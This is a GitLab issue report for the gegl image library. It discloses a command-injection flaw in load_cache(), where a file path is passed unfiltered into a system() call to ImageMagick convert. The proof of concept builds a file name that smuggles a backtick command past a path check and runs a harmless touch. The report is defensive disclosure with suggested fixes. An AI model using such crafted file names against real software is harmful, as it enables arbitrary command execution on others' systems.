Skip to content
GitLab
Projects Groups Topics Snippets
  • /
  • Help
    • Help
    • Support
    • Community forum
    • Submit feedback
    • Contribute to GitLab
  • Register
  • Sign in
  • gegl gegl
  • Project information
    • Project information
    • Activity
    • Labels
    • Members
  • Repository
    • Repository
    • Files
    • Commits
    • Branches
    • Tags
    • Contributor statistics
    • Graph
    • Compare revisions
  • Issues 140
    • Issues 140
    • List
    • Boards
    • Service Desk
    • Milestones
  • Merge requests 4
    • Merge requests 4
  • CI/CD
    • CI/CD
    • Pipelines
    • Jobs
    • Schedules
  • Deployments
    • Deployments
    • Environments
    • Releases
  • Packages and registries
    • Packages and registries
    • Container Registry
  • Monitor
    • Monitor
    • Incidents
  • Analytics
    • Analytics
    • Value stream
    • CI/CD
    • Repository
  • Wiki
    • Wiki
  • Snippets
    • Snippets
  • Activity
  • Graph
  • Create a new issue
  • Jobs
  • Commits
  • Issue Boards
Collapse sidebar
  • GNOMEGNOME
  • geglgegl
  • Issues
  • #298
Closed
Open
Issue created Dec 01, 2021 by Gavin Cui@Gavincrz

# Arbitrary Command Execution in load_cache()

Reported in version: gegl-0.4.32
Reported in System: openEuler / Ubuntu 20.04.1 LTS

Description

When loading an unknwon-suffix file through gegl_node_new_child() (operation = gegl:load), the program tries to execute convert command using system() in load_cache() function. The convert command is constructed with the file path passed in gegl_node_new_child() and no filter is applied. Therefore, an attacker can mount arbitrary command execution if he controls the path.

It seems you have already noticed the threat and comment it as FIXME. We just demonstrate the unsafe use of system() may lead to severe problem.

static void
load_cache (GeglProperties *op_magick_load)
{
      ... ...

      /* ImageMagick backed fallback FIXME: make this robust.
       * maybe use pipes in a manner similar to the raw loader,
       * or at least use a properly unique filename  */

      filename = g_build_filename (g_get_tmp_dir (), "gegl-magick.png", NULL);
      cmd = g_strdup_printf ("convert \"%s\"'[0]' \"%s\"",
                             op_magick_load->path, filename);
      if (system (cmd) == -1)
        g_warning ("Error executing ImageMagick convert program");
    ... ...

}

Proof of Concept

Reproduce steps

Step 1: Download and install the latest gegl

$ wget https://download.gimp.org/pub/gegl/0.4/gegl-0.4.32.tar.xz
$ tar xvf gegl-0.4.32.tar.xz
$ cd gegl-0.4.32
$ meson _build
$ ninja -C _build/
$ meson install -C _build/

Step 2: Compile and Use 2geglbuffer.c in examples/ as a harness

2geglbuffer.c calls gegl_node_new_child (gegl, "operation", "gegl:load", "path", argv[1], NULL);. It simulates a situation that the attacker controls the load path.

$ cd /root
$ cp gegl-0.4.32/examples/2geglbuffer.c .
$ cc 2geglbuffer.c `pkg-config --cflags --libs gegl-0.4` -o harness_2geglbuffer

Step 3: Create a fake file to bypass realpath() error

the file has to exist to bypass check in load.c:128. Since / is not allowd in file name, we use enviroment variable to bypass it.

$ touch -- '`touch ${PWD%root}tmp${PWD%root}hacked`.unknown'

Step 4: Run harness with crafted file path

$ rm /tmp/hacked
$ ./harness_2geglbuffer ./\`touch\ \$\{PWD%root\}tmp\$\{PWD%root\}hacked\`.unknown /tmp/out.gegl

Result

touch /tmp/hacked is executed and /tmp/hacked exists.

$ ls -l /tmp/hacked
-rw-r--r-- 1 root root 0 Dec  1 16:38 /tmp/hacked

Suggested Fix

  • Validate file path against a set of sensitive shell metacharacters (e.g. &,|,`, $ and ;)
  • Or find an alternative to system() as mentioned in the comment
To upload designs, you'll need to enable LFS and have an admin enable hashed storage. More information
Assignee
Assign to
Time tracking